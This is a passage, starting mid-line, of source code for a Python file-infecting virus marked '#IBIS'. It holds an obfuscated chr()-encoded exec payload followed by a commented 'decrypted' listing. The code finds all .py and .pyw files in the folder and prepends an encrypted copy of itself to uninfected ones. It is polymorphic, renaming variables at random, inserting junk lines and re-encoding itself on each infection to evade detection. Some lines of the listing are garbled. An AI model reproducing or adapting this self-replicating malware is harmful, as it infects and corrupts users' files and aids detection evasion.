r(114)+chr(115)+chr(116)+chr(80)+chr(97)+chr(114)+chr(116)+chr(79)+chr(102)+chr(87)+chr(68)+chr(73)+chr(71)+chr(61)+chr(34)+chr(34)+chr(10)+chr(9)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(91)+chr(105)+chr(93)+chr(62)+chr(34)+chr(32)+chr(34)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(70)+chr(105)+chr(114)+chr(115)+chr(116)+chr(80)+chr(97)+chr(114)+chr(116)+chr(79)+chr(102)+chr(87)+chr(68)+chr(73)+chr(71)+chr(61)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(91)+chr(58)+chr(105)+chr(93)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(98)+chr(114)+chr(101)+chr(97)+chr(107)+chr(10)+chr(9)+chr(9)+chr(78)+chr(117)+chr(109)+chr(98)+chr(101)+chr(114)+chr(79)+chr(102)+chr(84)+chr(97)+chr(98)+chr(115)+chr(61)+chr(70)+chr(105)+chr(114)+chr(115)+chr(116)+chr(80)+chr(97)+chr(114)+chr(116)+chr(79)+chr(102)+chr(87)+chr(68)+chr(73)+chr(71)+chr(46)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(40)+chr(34)+chr(92)+chr(116)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(78)+chr(117)+chr(109)+chr(98)+chr(101)+chr(114)+chr(79)+chr(102)+chr(83)+chr(112)+chr(97)+chr(99)+chr(101)+chr(115)+chr(61)+chr(70)+chr(105)+chr(114)+chr(115)+chr(116)+chr(80)+chr(97)+chr(114)+chr(116)+chr(79)+chr(102)+chr(87)+chr(68)+chr(73)+chr(71)+chr(46)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(40)+chr(34)+chr(32)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(119)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(91)+chr(105)+chr(93)+chr(43)+chr(34)+chr(92)+chr(110)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(105)+chr(61)+chr(61)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(43)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(78)+chr(117)+chr(109)+chr(98)+chr(101)+chr(114)+chr(79)+chr(102)+chr(84)+chr(97)+chr(98)+chr(115)+chr(42)+chr(34)+chr(92)+chr(116)+chr(34)+chr(43)+chr(78)+chr(117)+chr(109)+chr(98)+chr(101)+chr(114)+chr(79)+chr(102)+chr(83)+chr(112)+chr(97)+chr(99)+chr(101)+chr(115)+chr(42)+chr(34)+chr(32)+chr(34)+chr(43)+chr(83)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(48)+chr(44)+chr(49)+chr(41)+chr(93)+chr(43)+chr(34)+chr(92)+chr(110)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(115)+chr(61)+chr(91)+chr(34)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(115)+chr(34)+chr(44)+chr(32)+chr(34)+chr(109)+chr(121)+chr(115)+chr(111)+chr(117)+chr(108)+chr(34)+chr(44)+chr(32)+chr(34)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(34)+chr(44)+chr(32)+chr(34)+chr(84)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(34)+chr(44)+chr(32)+chr(34)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(34)+chr(44)+chr(32)+chr(34)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(34)+chr(44)+chr(32)+chr(34)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(34)+chr(44)+chr(32)+chr(34)+chr(72)+chr(111)+chr(115)+chr(116)+chr(102)+chr(105)+chr(108)+chr(101)+chr(115)+chr(34)+chr(44)+chr(32)+chr(34)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(34)+chr(44)+chr(32)+chr(34)+chr(72)+chr(67)+chr(111)+chr(100)+chr(101)+chr(34)+chr(44)+chr(32)+chr(34)+chr(72)+chr(101)+chr(108)+chr(108)+chr(111)+chr(34)+chr(44)+chr(32)+chr(34)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(34)+chr(32)+chr(44)+chr(34)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(67)+chr(111)+chr(100)+chr(101)+chr(34)+chr(44)+chr(32)+chr(34)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(34)+chr(44)+chr(32)+chr(34)+chr(83)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(34)+chr(44)+chr(32)+chr(34)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(34)+chr(44)+chr(32)+chr(34)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(34)+chr(44)+chr(32)+chr(34)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(34)+chr(44)+chr(32)+chr(34)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(34)+chr(44)+chr(32)+chr(34)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(34)+chr(44)+chr(32)+chr(34)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(34)+chr(44)+chr(32)+chr(34)+chr(70)+chr(105)+chr(114)+chr(115)+chr(116)+chr(80)+chr(97)+chr(114)+chr(116)+chr(79)+chr(102)+chr(87)+chr(68)+chr(73)+chr(71)+chr(34)+chr(44)+chr(32)+chr(34)+chr(78)+chr(117)+chr(109)+chr(98)+chr(101)+chr(114)+chr(79)+chr(102)+chr(84)+chr(97)+chr(98)+chr(115)+chr(34)+chr(44)+chr(32)+chr(34)+chr(78)+chr(117)+chr(109)+chr(98)+chr(101)+chr(114)+chr(79)+chr(102)+chr(83)+chr(112)+chr(97)+chr(99)+chr(101)+chr(115)+chr(34)+chr(44)+chr(32)+chr(34)+chr(115)+chr(101)+chr(99)+chr(111)+chr(110)+chr(100)+chr(99)+chr(110)+chr(116)+chr(34)+chr(93)+chr(10)+chr(83)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(61)+chr(40)+chr(34)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(69)+chr(120)+chr(97)+chr(109)+chr(112)+chr(108)+chr(101)+chr(49)+chr(61)+chr(92)+chr(34)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(69)+chr(120)+chr(97)+chr(109)+chr(112)+chr(108)+chr(101)+chr(49)+chr(92)+chr(34)+chr(34)+chr(44)+chr(34)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(69)+chr(120)+chr(97)+chr(109)+chr(112)+chr(108)+chr(101)+chr(50)+chr(61)+chr(92)+chr(34)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(69)+chr(120)+chr(97)+chr(109)+chr(112)+chr(108)+chr(101)+chr(50)+chr(92)+chr(34)+chr(34)+chr(41)+chr(10)+chr(72)+chr(111)+chr(115)+chr(116)+chr(102)+chr(105)+chr(108)+chr(101)+chr(115)+chr(61)+chr(103)+chr(108)+chr(111)+chr(98)+chr(46)+chr(103)+chr(108)+chr(111)+chr(98)+chr(40)+chr(34)+chr(42)+chr(46)+chr(112)+chr(121)+chr(34)+chr(41)+chr(43)+chr(103)+chr(108)+chr(111)+chr(98)+chr(46)+chr(103)+chr(108)+chr(111)+chr(98)+chr(40)+chr(34)+chr(42)+chr(46)+chr(112)+chr(121)+chr(119)+chr(34)+chr(41)+chr(10)+chr(102)+chr(111)+chr(114)+chr(32)+chr(72)+chr(111)+chr(115)+chr(116)+chr(102)+chr(105)+chr(108)+chr(101)+chr(115)+chr(32)+chr(105)+chr(110)+chr(32)+chr(72)+chr(111)+chr(115)+chr(116)+chr(102)+chr(105)+chr(108)+chr(101)+chr(115)+chr(58)+chr(10)+chr(9)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(72)+chr(111)+chr(115)+chr(116)+chr(102)+chr(105)+chr(108)+chr(101)+chr(115)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(32)+chr(10)+chr(9)+chr(72)+chr(67)+chr(111)+chr(100)+chr(101)+chr(61)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(10)+chr(9)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(32)+chr(10)+chr(9)+chr(105)+chr(102)+chr(32)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(72)+chr(67)+chr(111)+chr(100)+chr(101)+chr(44)+chr(34)+chr(73)+chr(66)+chr(73)+chr(83)+chr(34)+chr(41)+chr(61)+chr(61)+chr(45)+chr(49)+chr(58)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(105)+chr(111)+chr(110)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(67)+chr(108)+chr(101)+chr(97)+chr(110)+chr(101)+chr(114)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(102)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(67)+chr(111)+chr(100)+chr(101)+chr(61)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(115)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(61)+chr(78)+chr(101)+chr(119)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(67)+chr(111)+chr(100)+chr(101)+chr(61)+chr(115)+chr(117)+chr(98)+chr(40)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(115)+chr(91)+chr(105)+chr(93)+chr(44)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(44)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(67)+chr(111)+chr(100)+chr(101)+chr(41)+chr(10)+chr(9)+chr(9)+chr(9)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(115)+chr(91)+chr(105)+chr(93)+chr(61)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(102)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(119)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(67)+chr(111)+chr(100)+chr(101)+chr(41)+chr(10)+chr(9)+chr(9)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(78)+chr(101)+chr(119)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(69)+chr(110)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(105)+chr(111)+chr(110)+chr(40)+chr(41))
#IBIS
# Decrypted code (with comments added) ###########################
import sys, glob
from os import remove
from string import *
from re import *
from random import *
##################################################################
def Decryption():
mysoul=open(sys.argv[0],"rb")
cvbnm=mysoul.readline()
mysoul.close()
cvbnm=cvbnm[find(cvbnm,"eval(")+6:]
cvbnm=cvbnm[:find(cvbnm,"))")+1] # It remains only crypted code
cvbnm=split("\+",cvbnm,0) # Creates a list of crypted characters
TmpFile=open("TempFile.txt","w")
for i in range(0,len(cvbnm),1):
TmpFile.write(chr(ord(eval(cvbnm[i]))))
TmpFile.close() # Writes the decrypted code in a temp file
##################################################################
def Encryption():
DFGHJ=open("TempFile.txt","rb")
asdfg=DFGHJ.read()
DFGHJ.close()
bhnjm=[0]
for i in range(0,len(asdfg)-1,1):
bhnjm[len(bhnjm):]=[0]
for i in range(0,len(asdfg),1):
bhnjm[i]="chr("+str(ord(asdfg[i]))+")+" # crypts the code
DFGHJ=open("TempFile.txt","w")
DFGHJ.write("exec(")
for i in range(0,len(bhnjm),1):
if i==len(bhnjm)-1:
cvbnm=str(bhnjm[i])
DFGHJ.write(cvbnm[:len(cvbnm)-1])
else:
DFGHJ.write(str(bhnjm[i]))
DFGHJ.write(")")
DFGHJ.close()
DFGHJ=open("TempFile.txt","rb")
asdfg=DFGHJ.read()
DFGHJ.close()
asdfg=sub("\+chr\(13\)","",asdfg) # delete all the carriages return
remove("TempFile.txt") # delete the temp file
Hostx=open(Hostfiles,"wb")
Hello=asdfg+"\n#IBIS\n"+HCode # writes its own code,
# its name and the victim's code
Hostx.write(Hello)
Hostx.close()
##################################################################
def NewVariable():
NewVy = chr(randint(97,122))+chr(randint(97,122))+chr(randint(97,122))+chr(randint(97,122))+chr(randint(97,122))+chr(randint(97,122))+chr(randint(97,122))+chr(randint(97,122))
if find(DecryptedCode,NewVy)!=-1: # if the new variable already exists
NewVariable()
else:
return NewVy
##################################################################
def TrashCleaner():
DFGHJ=open("TempFile.txt","rb")
CodeWithTrash=DFGHJ.read()
DFGHJ.close()
CodeWithTrash=split("\n",CodeWithTrash,0)
for i in range(0,len(CodeWithTrash),1):
if find(CodeWithTrash[i],STrash[0])!=-1 or find(CodeWithTrash[i],STrash[1])!=-1:
CodeWithTrash[i]="*" # Searches for garbage intructions lines
# and marks them
DFGHJ=open("TempFile.txt","wb")
for i in range(0,len(CodeWithTrash),1):
if CodeWithTrash[i]!="*":
DFGHJ.write(CodeWithTrash[i]+"\n")
DFGHJ.close() # now the code is without trash
##################################################################
def NewTrash():
for i in range(0,randint(1,20),1): # how much trash ?
source=open("TempFile.txt","rb")
srccode=source.read()
source.close()
srccode=split("\n",srccode,0)
RndNmb=randint(0,len(srccode)-1)
counter=0
WhereDoIGo=srccode[RndNmb] # and where ?
while (find(WhereDoIGo,"#")!=-1 or WhereDoIGo=="\n") and RndNmb+counter1:
if WhereDoIGo[len(WhereDoIGo)-2]==":":
while RndNmb+counter+secondcnt" ":
FirstPartOfWDIG=WhereDoIGo[:i]
break
NumberOfTabs=FirstPartOfWDIG.count("\t")
NumberOfSpaces=FirstPartOfWDIG.count(" ") # Indentation !
source=open("TempFile.txt","wb")
for i in range(0,len(srccode),1):
source.write(srccode[i]+"\n")
if i==RndNmb+counter:
source.write(NumberOfTabs*"\t"+NumberOfSpaces*" "+STrash[randint(0,1)]+"\n")
source.close()
##################################################################
Variables=["Variables", "mysoul", "cvbnm", "TmpFile", "DFGHJ", "asdfg", "bhnjm", "Hostfiles", "Hostx", "HCode", "Hello", "DecryptedFile" ,"DecryptedCode", "NewVy", "STrash", "CodeWithTrash", "source", "srccode", "RndNmb", "counter", "WhereDoIGo", "FirstPartOfWDIG", "NumberOfTabs", "NumberOfSpaces", "secondcnt"] # Variables to modify
STrash=("TrashExample1=\"TrashExample1\"","TrashExample2=\"TrashExample2\"") # Trash
Hostfiles=glob.glob("*.py")+glob.glob("*.pyw")
for Hostfiles in Hostfiles:
Hostx=open(Hostfiles,"rb")
HCode=Hostx.read()
Hostx.close()
if find(HCode,"IBIS")==-1: # If the victim is already infected
Decryption()
TrashCleaner()
DecryptedFile=open("Tempfile.txt","rb")
DecryptedCode=DecryptedFile.read()
DecryptedFile.close()
for i in range(0,len(Variables),1):
NewVy=NewVariable()
DecryptedCode=sub(Variables[i],NewVy,DecryptedCode)
Variables[i]=NewVy # changes variables
DecryptedFile=open("Tempfile.txt","wb")
DecryptedFile.write(DecryptedCode)
DecryptedFile.close()
NewTrash()
Encryption()
# End #############################################################